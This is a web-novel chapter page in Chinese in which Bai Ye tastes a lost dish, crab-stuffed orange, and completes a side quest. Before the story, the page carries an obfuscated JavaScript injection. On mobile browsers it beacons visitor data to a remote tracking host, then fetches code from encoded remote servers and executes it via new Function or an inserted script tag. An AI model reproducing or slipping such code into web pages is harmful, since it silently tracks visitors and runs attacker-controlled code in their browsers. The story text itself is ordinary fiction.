第848章 蟹酿橙(第2页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
这喷洒了白酒,又焖了这片刻之后,一打开盖子顿时香气四溢。
那种一种混合了酸甜的橙香、大闸蟹的海鲜香、白酒的酒香。
酒香的多少,决定了这气息的尾韵,就像是一把小钩子,虽然浅但是明显,狠狠地勾了大家的胃口一番。
顿时,现场传来了口水的吞咽声。
“各位,别客气了?别错过了这最鲜美的几秒。”
白叶这话音还没落地,在场众人就像是突然清醒过来一番,纷纷拿起了旁边的勺子,动作急促可勺子舀起的时候却又轻缓地送入口中。
并不是咸的。
这道菜虽然是在橙子之中蒸出来的,还放了盐,但是这一撮盐压下去的甜,全部转换为了直冲脑海的鲜。
而因为橙味的中和,本就极淡的腥气也都被遮掩,入口只剩下鲜美。
那是水果的鲜美和蟹的鲜美混合出来的滋味。
白叶刚才在厨房,只是在尝味道,此时舀了一大勺入口,忍不住闭上了眼睛。
原来螃蟹还能这样吃。
河鲜加水果,这可真的新奇。
不过转念一想,其实好像也不是很新奇。
水果和海鲜,河鲜的合作,其实早就有。
不说那些大菜,就是平常百姓家的,捞汁小海鲜什么的,不也是借助柠檬、小番茄甚至百香果等调味。
水果和肉类的热菜也是很多,像是什么菠萝咕咾肉,什么柠檬虾,什么椰子鸡。
今天有这道橙子入菜的自然也没有多稀奇。
白叶一口吃完又吃一口,很快就将里面的蟹肉都吃光,甚至连橙子壁上的果然也都一起吃掉。
直到全部吃完,白叶才长出一口气,只觉得满口清香。
“老师,这道菜到底叫什么名字啊?”
菜的做法,他都学会了。却还不知道这菜的名字呢。
“蟹酿橙。”
【叮。支线任务(25)复刻十道失传菜肴。完成(210)】
白叶心中惊喜。
原来他老师教给他的菜肴,竟然是失传菜肴。
“蟹酿橙?不对啊?”对面的王功忽然开口说道,“蟹酿橙我曾经吃过一次,并不是蟹肉蟹黄做的,也没有这样鲜美好吃。”